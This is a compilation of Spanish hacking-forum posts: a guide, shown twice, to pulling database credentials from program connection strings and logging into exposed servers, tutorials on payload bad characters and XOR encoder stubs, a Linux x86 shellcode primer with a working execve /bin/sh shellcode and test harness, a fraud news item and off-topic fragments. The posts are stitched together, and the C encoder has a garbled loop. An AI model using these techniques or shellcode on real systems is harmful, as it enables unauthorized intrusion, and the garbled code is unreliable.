HACKEAR UNA BASE DE DATOS

Bueno gente el concepto es mas fácil de lo que parece, antes que nada tenemos que tener un concepto medio medio-alto de sql y programación en general si no bueno espero que consigan algún manual y después se fijen en este post.

1) Buscando objetivos: La joda es la siguiente, todo programa al conectarse a una base de datos sql o access lo hace mediante lo que se denomina STRING DE CONEXIÓN, esto es básicamente una cadena de caracteres en la cual aparecen con detalle el usuario , contraseña y host de la base de datos. Tenemos que buscar estos objetivos utilizando los métodos conocidos.

2) Leyendo el código: Cuando nos encontremos con el fuente del programa tendremos que buscar la siguiente declaración (por ejemplo en un VB6.0)

Set mdb = New ADODB.Connection
mdb.Open "DRIVER={PostgreSQL+};SERVER=XXX;port=XXX;DATABASE=XXX;UID=postgres;PWD=postgres;", "postgres", "postgres"

3) Si hemos encontrado ese código bueno significa que vamos bien, lo siguiente es entender que tipo de host tiene esta base por ejemplo localhost es solo para conexiones desde el host tmb para ip del estilo 192.XXX.XXX.XXX , lo que nos interesa es el bug siguiente una ip del estilo 200.XXX.XXX.XXX o algun texto indicativo de que se puede conectar desde cualquier pc a esta base de datos mediante esa contraseña y nombre de usuario.

4) Por ultimo nos bajamos cualquier programita para conectarnos a una base de datos y listo a disfrutar

HACKEAR UNA BASE DE DATOS

Bueno gente el concepto es mas fácil de lo que parece, antes que nada tenemos que tener un concepto medio medio-alto de sql y programación en general si no bueno espero que consigan algún manual y después se fijen en este post.

1) Buscando objetivos: La joda es la siguiente, todo programa al conectarse a una base de datos sql o access lo hace mediante lo que se denomina STRING DE CONEXIÓN, esto es básicamente una cadena de caracteres en la cual aparecen con detalle el usuario , contraseña y host de la base de datos. Tenemos que buscar estos objetivos utilizando los métodos conocidos.

2) Leyendo el código: Cuando nos encontremos con el fuente del programa tendremos que buscar la siguiente declaración (por ejemplo en un VB6.0)

Set mdb = New ADODB.Connection
mdb.Open "DRIVER={PostgreSQL+};SERVER=XXX;port=XXX;DATABASE=XXX;UID=postgres;PWD=postgres;", "postgres", "postgres"

3) Si hemos encontrado ese código bueno significa que vamos bien, lo siguiente es entender que tipo de host tiene esta base por ejemplo localhost es solo para conexiones desde el host tmb para ip del estilo 192.XXX.XXX.XXX , lo que nos interesa es el bug siguiente una ip del estilo 200.XXX.XXX.XXX o algun texto indicativo de que se puede conectar desde cualquier pc a esta base de datos mediante esa contraseña y nombre de usuario.

4) Por ultimo nos bajamos cualquier programita para conectarnos a una base de datos y listo a disfrutar

Bad chars y encoders/decoders en payloads

Hoy en la lista de la ekoparty alguien pregunto como podia detectar bad chars en una payload.

Es por eso que voy a introducir un poco estos conceptos:
Una payload como todos sabemos es una combinacion de codigo y datos que se inyectan en un proceso corriendo para explotarlo, puede ser para un buffer overflow, memory corruption, heap overflow, etc.
Esta payload generalmente debe tener unos requisitos para que el programa la acepte, por ejemplo si la payload pasa por strcpy no podemos tener un caracter nulo porque no terminaria de copiar todo el buffer, sino que lo haria hasta donde este el caracter nulo (0).
Ejemplo:

buffer = "\x12\x41\x23\x34\x21\x34\x23\x00\x98\x93\x83\x11" ;
__________________________________||______________ _
strcpy copia hasta aca, el resto no lo copia

A ese byte lo consideramos un bad char y es lo que tenemos que evitar, se puede utilizar un encoder en asm si nuestra payload va a ser ejecutada, sino tenemos que pensar en cambiar la payload.
El caracter nulo es un bad char caracteristico de strcpy y varias funciones mas porque es el caracter que se usa para terminar las cadenas en C (y varios lenguajes mas). Pero si nos encontramos ante un servidor HTTP por ejemplo tendriamos que tener en cuenta otros bad chars como es el caso de '\r' o '\n' que son terminadores de linea en el protocolo y seguramente nos van a interrumpir la payload cuando el server la parsee.
Otros protocolos/programas tendran otros bad chars y es por eso que a veces tendremos que reversear el programa si nuestra payload por alguna razon no llega a provocar la corrupcion que estamos buscando.

Aqui por ejemplo tenemos un pequeno programa en python para buscar bad chars en una payload, solamente ponemos nuestra payload y los bad chars que no acepta el programa que queremos explotar.

Código
Code (python):
payload = "\x12\x41\x23\x34\x21\x34\x23\x00\x98\x93\x83\x11"
bad_chars = "\x00\n"

for offset in range(0, len(payload)):
if(payload[offset] in bad_chars):
print "tienes un bad char en el offset %s" % (offset)


Por otro lado como habia mencionado hay veces que no podemos remover ese bad char porque puede ser una intruccion fundamental en nuestra shellcode como un long jump obligatorio a una direccion que contenga 0.
Aqui entran en juego los encoders, lo que se hace es codificar la payload y agregar un decoder en la misma, que son pequenos stubs en ASM que se ejecutan antes de la payload y decodifican el resto.
Una de las codificaciones mas usadas es la que se hace con XOR, como bien sabemos si nosotros xoreamos un byte con otro podemos volver al estado inicial volviendolo a xorear con el mismo byte.

Ejemplo :
10 XOR 32 = 22
22 XOR 32 = 10

Ahora que tenemos la teoria, sabemos que podemos xorear toda la payload y agregar un header que la vuelva a su estado decodificado.

Un codificador de payload podria ser asi:

Código
Code (c):
#include

int size_payload = 12;
char *payload = "\x12\x41\x23\x34\x21\x34\x23\x00\x98\x93\x83\x11";
char xor_code = 0x22; //este byte tiene que ser igual en el stub en asm

int main(int argc, char *argv[])
{
int i;
for(i = 0; i < color="#66cc66">){
printf("0\\x%x", (char *)payload[i] ^ xor_code);
}
}


y el stub que se le agregaria a una payload seria algo asi:

Código
Code (asm):
jmp call_inicio
inicio:
pop esi ; sacamos la direccion de la payload codificada de la pila y la guardamos en esi
mov eax, payload_code ; con el byte que xoreamos nuestra payload
xor ebx,ebx ;
mov ecx, payload_size ; el tamano que tiene nuestra payload
otra_vez:
xor dword ptr[esi+ebx], eax ; aqui aplicamos el xor
inc eax ; aumentamos eax, es con el que contamos las posiciones de memoria
dec ecx
jnz otra_vez ; si no terminamos de decodificar la payload saltamos a otra_vez
jmp comienzo_payload ; una vez que terminamos saltamos a la payload real
call_inicio:
call inicio ; usamos este truco para guardar la direccion de memoria donde comienza la payload, recordemos que call pone en la pila la
;siguiente memoria
comienzo_payload:
; aqui va nuestra payload codificada.


Como veran es un codigo de apenas unos bytes y aunque este no esta optimizado pueden conseguir encoders/decoders muy eficientes que pueden hasta comprimir la payload si es muy grande.

Que es una shellcode ?

En este post voy a introducir el concepto de shellcode para los que recien empiezan o capas para los que ya lo vieron pero no llegaron a entender como funciona. Usare un sistema Linux 32 bits para realizar las demostraciones.

Que significa shellcode?
Primero necesitamos saber el significado etimologico de shellcode.
Shell es como se le dice en ingles (ahora universal) a una terminal. Por lo tanto shellcode significa que es un codigo que nos crea una terminal para que la usemos.
Actualmente el termino shellcode no solo se refiere al codigo que nos permite crear una shell, sino que se extiende a codigos con mas funciones como pueden ser crear usuarios, matar/crear un determinado proceso, dar permisos a una carpeta, etc.

Y tecnicamente... una shellcode es una porcion de codigo compilada para un determinado procesador que se ejecuta dentro de otro proceso previamente preparado para que la ejecute (ej: stack overflow).

Como creamos una shellcode?
Generalmente se hacen en lenguaje ASM (assembler) para poder tener un control total del proceso ya que en C se agregan partes de codigo que no podemos controlar, ni hablar de otros lenguajes que ni siquiera pueden compilarse a codigo nativo del procesador (.NET, VB, Java, etc).
Ya sabemos que no tenemos muchos lenguajes para elegir jeje, asm de x86 (el procesador que usan las pcs) tiene dos sintaxis, la de Intel y la de AT&T, yo prefiero la segunda pero ya que la de Intel es mas popular usaremos esa.
Tambien necesitamos saber que una shellcode tiene que ser lo mas corta y portable posible, es por eso que usaremos llamadas al sistema y no llamaremos a la libc u otras librerias. La forma de llamar al sistema/kernel en *nix es mediante la interrupcion 0x80.
Tanta teoria se esta volviendo aburrida asi que vamos a los hechos, aca tenemos una shellcode bien simple que solamente cierra el programa llamando a exit(0).
Código
Code (asm):
BITS 32
exit:
xor ebx,ebx ;ponemos 0 como argumento de exit
xor eax,eax ;limpiamos eax y ebx
mov al,0x01 ;ponemos 1 en eax (es el codigo de la syscall exit)
int 0x80 ;finalmente llamamos a la interrupcion
Ahi hicimos nuesta primer "shellcode".

Como extraemos los bytes u opcodes?
Lo que haremos ahora es compilarla y extraer los bytecodes que son los que nos interesan a nosotros, por eso abrimos nuestra terminal y tipeamos:
~$ nasm exit.asm
si queremos saber si se compilo bien podemos desensamblarlo (en 32 bits) con
~$ ndisasm-b 32 exit
y nos mostrara el desensamblado del codigo con sus respectivos opcodes:
00000000 31DB xor ebx,ebx
00000002 31C0 xor eax,eax
00000004 B001 mov al,0x1
00000006 CD80 int 0x80
Para sacar estos opcodes podemos copiarlos uno por uno al exploit o a donde lo queramos poner; o sino extraerlos con alguna clase de script, yo me hice uno que pasa el archivo a la cadena de C directamente:
Código
Code (python):
#!/usr/bin/python
from binascii import *
import sys

files = {}
length = []

def write(string):
sys.stdout.write(string)

def process_file(file):
source = open(file,"rb")
write("char shellcode[]=\n\t\t")
i = 1
l = 0
write("\"")
for data in source.read():
write("\\x")
write(b2a_hex(data))
if (i % 15)==0:
write("\"\n\t\t\"")
i+=1
l+=1
files[file[0:-4]]= l
write("\";\n\n")
source.close()

print("HDL Shellcode Lab - Bin to C")
if(len(sys.argv)<2):
exit(0)
process_file(sys.argv[1])
Como argumento le pasamos el archivo compilado anteriormente con nasm y nos devolvera algo asi que es una cadena en C para poner en nuestros exploits:
Código
Code (c):
char shellcode[]=
"\x31\xdb\x31\xc0\xb0\x01\xcd\x80";

Como probar las shellcodes?
Para probarlas podemos usar un pequeno codigo en C que salte a la shellcode directamente, aca les dejo un codigo muy simple y funcional:
Código
Code (c):
char shellcode[] = "\x31\xdb\x31\xc0\xb0\x01\xcd\x80"; //aca ponemos nuestra shellcode
int main (int argc, char *argv[])
{
int (*run)(); //puntero a una funcion
run = shellcode; //asignamos la direccion de la shellcode al puntero
run(); // y la ejecutamos
}
Ahora que tenemos este codigo podemos usar cualquier debugger y poner un break en main, despues de eso ir paso por paso o sino agregamos un "int 3" al principio de la shellcode y el debugger va a saltar ahi.

Una shellcode mas compleja
Aca vamos a hacer una que nos de una shell (algo un poco mas util que salir de un programa jeje), mas especificamente una bash.
Código
Code (asm):
BITS 32
xor eax,eax
push eax
push dword 0x68732f6e ;ponemos a /bin/sh en la pila
push dword 0x69622f2f
mov ebx,esp ;y le damos la direccion de /bin/sh a ebx
xor edx,edx
push edx ;ponemos el resto de los argumentos en la pila
push ebx
mov ecx,esp
mov al,0x0b ;llamamos a la syscall 0x0b (execve)
int 0x80
Y los bytecodes de esta shellcode despues de compilarla con nasm (y extraerla con el otro script) son:
Código
Code (c):
char shellcode[]=
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
Estos bytecodes ya estan para usarse y como veran no tiene ningun caracter nulo en su
Fue mas que nada para perderle miedo a los terminos raros y entender mejor como estan compuestos los exploits.

Espero que les haya gustado esta pequena introduccion a shellcodes y si tienen dudas pregunten.

Saludos,
Seba.

La "hacker más sexy del mundo" a la cárcel por fraude bancario



Bueno amigos Foristas Quien diria que una señorita tan linda iba ha ocasionar caos a toda red!!
bueno hablemos de ella:


La estudiante rusa de 22 años Kristina Svechinskaya arriesga recibir hasta 40 años de cárcel por participar de un procedimiento de lavado de dinero vía internet de un grupo que pretendía robar 220 millones de dólares desde bancos en Gran Bretaña y EE.UU.
La joven estudiante de la Universidad de Nueva York está acusada de abrir cinco cuentas y recibir 35 mil dólares por actuar junto a otras tres estudiantes como "mulas de dinero" abriendo cuentas con la suya y otras identidades falsas.
La operación que ya cuenta como 37 personas acusadas, consiguió recaudar al menos 70 millones de dólares, por lo que si se encuentra culpable a la joven, ésta podría enfrentarse a 40 años de prisión.
Según el fiscal de distrito de Manhattan, Cyrus Vance Jr. los integrantes extranjeros de la banda fueron reclutados a través de redes sociales y anuncios, por lo que el procurador Preet Bharara estima que "el ratón y el teclado pueden ser mucho más eficaces que la pistola y la máscara".

linux vs Windows / / Las pc tambien deben cuidarse

linux vs Windows


hay algo.. siempre en la vida y es la competencia...




Las pc tambien deben cuidarse



si un ser humano se cuida porque no las pcs